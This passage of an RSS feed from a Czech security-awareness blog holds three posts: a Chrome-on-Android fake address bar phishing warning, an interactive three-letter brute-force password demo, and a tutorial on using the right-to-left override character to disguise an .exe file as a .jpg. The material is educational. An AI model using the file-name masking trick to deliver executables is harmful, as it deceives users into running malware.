										<content:encoded><![CDATA[<p>New type of attack uses the features of Chrome on Android phones, which hide the address bar when the user scrolls the page down. The address will reappear when you scroll the page up.</p>
<p>An attacker can exploit this feature and force the browser to hide the original address bar and instead display its own, falsified.</p>
<p>So, for example, if you click a link in an email that looks like a message from your bank, you can access the modified page of the attacker, which looks like a bank&#8217;s website, and the address bar will match (see James Fisher&#8217;s video below) ). If you enter your login information on the page, you send it directly to the attacker.</p>
<p>How to defend yourself? This is the use of the Chrome feature and there is no (yet) released update to change this behavior. Therefore, be aware of the links you open from email.</p>
<p>Good practice is not to click on links that are supposed to lead to sites where you have to enter your data. For example, if you have a message that needs to be resolved in your Internet banking, open the browser and simply enter the address manually, or use the saved (and verified) bookmarks.</p>
<p><video controls="controls" width="514" height="514"><source src="https://d33wubrfki0l68.cloudfront.net/783bd862c3df19b6fb4eac0b4f687d598c957891/a3915/assets/2019-04-27/demo.webm" type="video/webm" /></video></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/pozor-na-chrome-v-android-telefonu/">Be careful  with Chrome on your Android phone</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		<enclosure url="https://d33wubrfki0l68.cloudfront.net/783bd862c3df19b6fb4eac0b4f687d598c957891/a3915/assets/2019-04-27/demo.webm" length="472678" type="video/webm" />

			</item>
		<item>
		<title>Brute-force attack &#8211; demo</title>
		<link>https://www.digitalnisebeobrana.cz/en/brute-force-attack-demo/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Wed, 19 Dec 2018 17:13:02 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[hesla]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[trik]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1298</guid>

					<description><![CDATA[<p>Jak funguje tzv. brute-force útok? Můžete si ho vyzkoušet.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/brute-force-attack-demo/">Brute-force attack &#8211; demo</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js">
</script><br />
What is a brute-force attack? Simplified, it&#8217;s actually trying out all possible combinations of characters to break the password. It&#8217;s time consuming, so it&#8217;s inefficient for long passwords.<br />
How long it would take to calculate it <strong><a href="https://www.zaskolit.cz/en/za-jak-dlouho-hacker-prolomi-vase-heslo/">here</a></strong>.<br />
Try with the short passwords in the demo below. The procedure is as follows:</p>
<ol>
<li>You can choose your username and password (only lowercase letters and up to three characters long), then click the &#8220;Register&#8221; button. This simulates registration on a server (the name and password are stored in the database).</li>
<li>Click the &#8220;Run&#8221; button: this will trigger the attack &#8211; the program tests the character combinations in the &#8220;Password&#8221; field in the &#8220;Login&#8221; section (simulation of the login form).</li>
<li>Once you&#8217;ve found the combination, you can try logging in with the &#8220;Login&#8221; button.</li>
</ol>
<p>Basic info about creating passwords <a href="#ds-ibox-passwords"><strong>below</strong></a>.</p>
<div class="divTable btf" id="btfBox">
<div class="divTableBody">
<div class="divTableRow">
            <!-- REGISTER ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dregister">Register</p>
<div class="divTable btfregister">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Choose username: </div>
<div class="divTableCell"><input type="text" id="btf-ruser" value="user1"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell">Password (max. 3 lowercase letters)</div>
<div class="divTableCell"><input type="password" id="btf-password" value="cia"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell"><em><small>* Brute-force attack is time and resources consuming, it would take too long in the web browser</small></em></div>
<div class="divTableCell"><button id="btf-register" onclick="btfRegister()">Register</button></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
<p>            <!-- LOGIN ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dlogin">Login</p>
<div class="divTable btflogin">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Username</div>
<div class="divTableCell"><input id="btf-login" readonly="true"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell">Password</div>
<div class="divTableCell"><input id="btf-counter" readonly="true"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell"></div>
<div class="divTableCell"><button id="btf-butlogin" onclick="btfLogin()">Login</button></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
<p><!-- ROW ----------------------------------------- --></p>
<div class="divTableRow">
        <!-- BRUTEFORCE ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dhacker">Brute-force</p>
<div class="divTable btfhack">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell"><img loading="lazy" decoding="async" src="https://www.zaskolit.cz/wp-content/uploads/2018/12/mrblack.png" alt="" width="156" height="221" class="alignright size-full wp-image-1299"  id="btf-hackpic"/></div>
<div class="divTableCell" id="btf-hackapp"><button id="btf-run" onclick="bruteforce()">Run</button><br />
                                    <button id="btf-stop" onclick="stop()">Stop</button></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
<p>            <!-- SERVER ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dserver">Server database</p>
<div class="divTable btfdb">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Username</div>
<div class="divTableCell">Password</div>
</p></div>
<div class="divTableRow">
<div class="divTableCell">&nbsp;<span id="btf-suser"></span></div>
<div class="divTableCell">&nbsp;<span id="btf-spass"></span></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</div>
<div class="ds-infobox">[do_widget id=custom_html-4]</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/brute-force-attack-demo/">Brute-force attack &#8211; demo</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Try the simple hacker&#8217;s trick</title>
		<link>https://www.digitalnisebeobrana.cz/en/try-the-simple-hackers-trick/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 11 Dec 2018 12:14:37 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[trik]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1175</guid>

					<description><![CDATA[<p>One of the attackers&#8217; goals is to deceive the user in such a way that he runs a malicious program on his own computer. Today, most common users know that opening exe files that come as an attachment in an email or downloaded from the Internet is not very safe. That&#8217;s why hackers try to &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/en/try-the-simple-hackers-trick/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Continue reading <span class="screen-reader-text">Try the simple hacker&#8217;s trick</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/try-the-simple-hackers-trick/">Try the simple hacker&#8217;s trick</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><script type="text/javascript">
function simpleCopy() {
  var copyText = document.getElementById("myInput");
  copyText.select();
  document.execCommand("copy");
/*alert("Copied!");*/
} 
</script></p>
<p>One of the attackers&#8217; goals is to deceive the user in such a way that he runs a malicious program on his own computer. Today, most common users know that opening exe files that come as an attachment in an email or downloaded from the Internet is not very safe. That&#8217;s why hackers try to disguise this extension (and thus the real content of the file).</p>
<p>One of the techniques you can try yourself is to reverse the direction of the font in the middle of the file name. The resulting name looks like a harmless image (for example, with the jpg extension), it&#8217;s actually called xxxx.exe, only your computer will display it with the name part reversed.</p>
<p>How to do it? Now you are a hacker and you name your malicious program eg &#8220;cute_anngpj.exe&#8221;.</p>
<p><strong><i>Warning: This may not work on some iOs/Safari</i></strong></p>
<p>Press the button &#8220;Copy u202e&#8221; to copy the special character &#8220;right-to-left override&#8221; to your clipboard.</p>
<p><input type="text" value="&#x202E;" size="5" id="myInput" style="width: 1px;" ><button onclick="simpleCopy()" >Copy u202e</button></p>
<p>Place the cursor between the letters &#8220;n&#8221; and &#8220;g&#8221; and press Ctrl+v.</p>
<p>Try it here: <input type="text" value="cute_anngpj.exe" /></p>
<p>Done, you have your masked program.</p>
<p>Most of the commonly used messengers and e-mail programs are warning you of such a disguised file, but there may appear the ones that make changes to the direction of the font &#8220;not noticeable.&#8221; So be careful when opening seemingly harmless file types.</p>
<p>Did you come up with some interesting file name that can be &#8220;turned&#8221;? Let me know 🙂</p>
<p><em>On the Linux you don&#8217;t need to use copy button.<br />
Place the cursor between the letters &#8220;n&#8221; and &#8220;g&#8221; and press and hold Left Shift+Ctrl+u (the underlined &#8220;u&#8221; appears). Release the keys. Enter the character code to change the direction of the font 202e and press spacebar.</em></p>
<p><iframe loading="lazy" width="560" height="315" src="https://www.youtube.com/embed/RVD5fQ4EJHw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/try-the-simple-hackers-trick/">Try the simple hacker&#8217;s trick</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
